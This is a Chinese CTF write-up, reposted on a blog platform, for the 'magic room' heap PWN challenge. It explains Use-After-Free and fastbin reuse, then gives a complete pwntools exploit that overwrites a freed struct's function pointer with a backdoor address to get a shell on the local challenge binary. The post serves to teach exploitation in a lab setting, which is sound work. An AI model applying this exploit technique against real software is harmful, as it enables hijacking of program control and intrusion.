专栏首页湛卢工作室PWN | “网鼎杯”朱雀之战——魔法房间题解

PWN | “网鼎杯”朱雀之战——魔法房间题解

复现一下上周末“网鼎杯”朱雀组中PWN 题——魔法房间。本题主要考察堆溢出中的UAF(Use After Free)漏洞,是经典的“菜单题”。

0x01 UAF原理

参考CTF-wiki,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer

0x02 漏洞分析

运行程序查看流程,出现一个菜单,主要有4个功能:learn magic、forget magic、use magic、leave。

其中learn magic就是新申请一个16字节的结构体,结构如下:

typedef struct magic {  
    char *buf; //内容指针  
    void *func; //函数指针  
} magic;  

forget magic 是释放一个结构体,use magic 是将结构体中的内容打印出来,leave是退出程序。

查看一下程序的保护机制,64位程序,开启了Canary和NX。逆向程序,代码审计,发现在forget magic功能处free结构体后,没有将指针设置为NULL,存在UAF漏洞:

同时,程序存在一个后门函数,所以我们的思路就是如何利用UAF漏洞去调用后门函数即可。

由于程序中的use magic功能是通过函数指针的方式进行利用,所以我们需要将结构体中的函数指针修改为后门函数,然后再调用即可。

接下来就是如何利用UAF漏洞,构造我们需要的情况了。思路如下:

我们首先申请两块内容为0x20大小的内存(调用两次learn magic 功能,大小均设置为0x20)。按照程序逻辑,程序会分别申请0x10大小的结构体指针和0x20大小的内存块保存用户输入,index 分别为index 0 和index 1。

接着,我们先后free掉 index 1和index 0,此时,按照glibc 中的堆内存分配机制,在fastbin结构中, fastbin[0]和fastbin[1]中将分别保存2个0x20和0x30的 free chunk(fastbin的大小加上了chunk header的大小0x10)。

然后,我们再申请0x10大小的内存(调用learn magic 功能,大小设置为0x10),按照glibc堆内存的管理机制,会将fastbin[0]中的两个0x20的free chunk (两个原先的magic结构体)分配给用户,按照fastbin “先进后出”的原则,此时我们的输入就可以修改原先index 1中的函数指针内容。我们将原先index 1中的函数指针修改为后门函数的地址,由于存在UAF漏洞,这时再调用index 1的函数指针(调用use magic功能,index 输入1),就可以拿到程序的shell。

动态调试验证一下我们思路,我们首先申请两个0x20的内存,然后依次free,此时fastbin 结构中的情况如下:

我们再申请0x10大小的内存,fastbin 结构中的情况如下:

可以看到,glibc果然将fastbin[0]中的两个free chunk 分配给了用户,我们在申请的内存中写入“aaaaaaaaaaaaaaaa”,在内存中查看情况:

和我们预想的一样,我们将原先index 1的函数指针和内容指针都修改成为0x6161616161616161,由于存在UAF漏洞,如果此时我们调用原先的index 1中的函数指针,程序的RIP就会变为0x6161616161616161,由于该地址不合法,程序就会报错:

此时,我们已经控制了程序的执行流,就可以编写exp了。

0x03 EXP利用

from pwn import *
context.log_level="debug" 
r = process('./magic')
def learn(size, content):
  r.recvuntil("choice :")
  r.sendline('1')
  r.recvuntil(":")
  r.sendline(str(size))
  r.recvuntil(":")
  r.sendline(content)

def forget(index):
  r.recvuntil("choice :")
  r.sendline('2')
  r.recvuntil("index :")
  r.sendline(str(index))

def use(index):
  r.recvuntil("choice :")
  r.sendline('3')
  r.recvuntil("index :")
  r.sendline(str(index))

system = 0x400A0D
learn(0x20, 'a')
learn(0x20, 'b')
forget(1)
forget(0)
payload = p64(0) + p64(system)
learn(0x10, payload)
use(1)
r.interactive()

本文分享自微信公众号 - 湛卢工作室(xuehao_studio),作者:俞学浩

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-05-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • SRC漏洞挖掘实用技巧

    关键词可以根据实际情况进行调整,推荐Google、Bing,搜索内容如果被删除,网页快照一般仍会有记录。

    tinyfisher
  • 安全情报入门--知彼知己,百战不殆

    《孙子兵法·谋攻篇》:知彼知己,百战不殆;不知彼而知己,一胜一负;不知彼不知己,每战必殆。

    tinyfisher
  • 量子密钥分发技术介绍

    量子(Quantum)属于一个微观的物理概念。如果一个物理量存在最小的不可分割的基本单位,那么称这个物理量是可量子化的,并把物理量的基本单位称为量...

    tinyfisher
  • [034]Activity启动时间

    我相信大家肯定遇到过Activity启动慢的BUG,在优化问题之前,我们都会自我测试一下Activity启动耗时是不是和测试给的数值一样,在我们没有高速相机的情...

    王小二
  • Failed to parse date ["1534467411000"]:Invalid time zone indicator '0'

    使用google 的gson 从外部redis反序列化一个 TimeStamp 的字段的对象时候,报错。

    MickyInvQ
  • 鲜花小程序,拯救未来鲜花市场新趋势。

    微信小程序自从提出到上线,就一向备受注重,现在跟着微信小程序的功用和入口的添加,越来越多的企业和实体店想要运用微信小程序来完成线上和线下的连接,信任许多的实体店...

    用户1745481
  • Seaborn入门(三): 实现Violinplots

    seaborn.violinplot基本参数为: violinplot(x=None, y=None, hue=None, data=None, order=...

    生信编程日常
  • Spring Boot 发送邮件实战全解析

    欢迎阅读 Spring Boot 2 实战系列[1] 电子邮件虽然近几年有点“退火”,但是在开发中依然有举足轻重的地位。在比较正式的场合我们依然通过电子邮件来传...

    用户4172423
  • linux学习第四十七篇:Nginx负载均衡,ssl原理,生产ssl密钥对,Nginx配置ssl

    Nginx负载均衡 负载均衡,将用户的所有HTTP请求均衡的分配到每一台机器上,充分发挥所有机器的性能,提高服务的质量和用户体验。 ? vim /usr/l...

    用户1215343
  • Spring Boot 发送邮件实战全解析

    欢迎阅读 Spring Boot 2 实战系列[1] 电子邮件虽然近几年有点“退火”,但是在开发中依然有举足轻重的地位。在比较正式的场合我们依然通过电子邮件来传...

    码农小胖哥

扫码关注云+社区

领取腾讯云代金券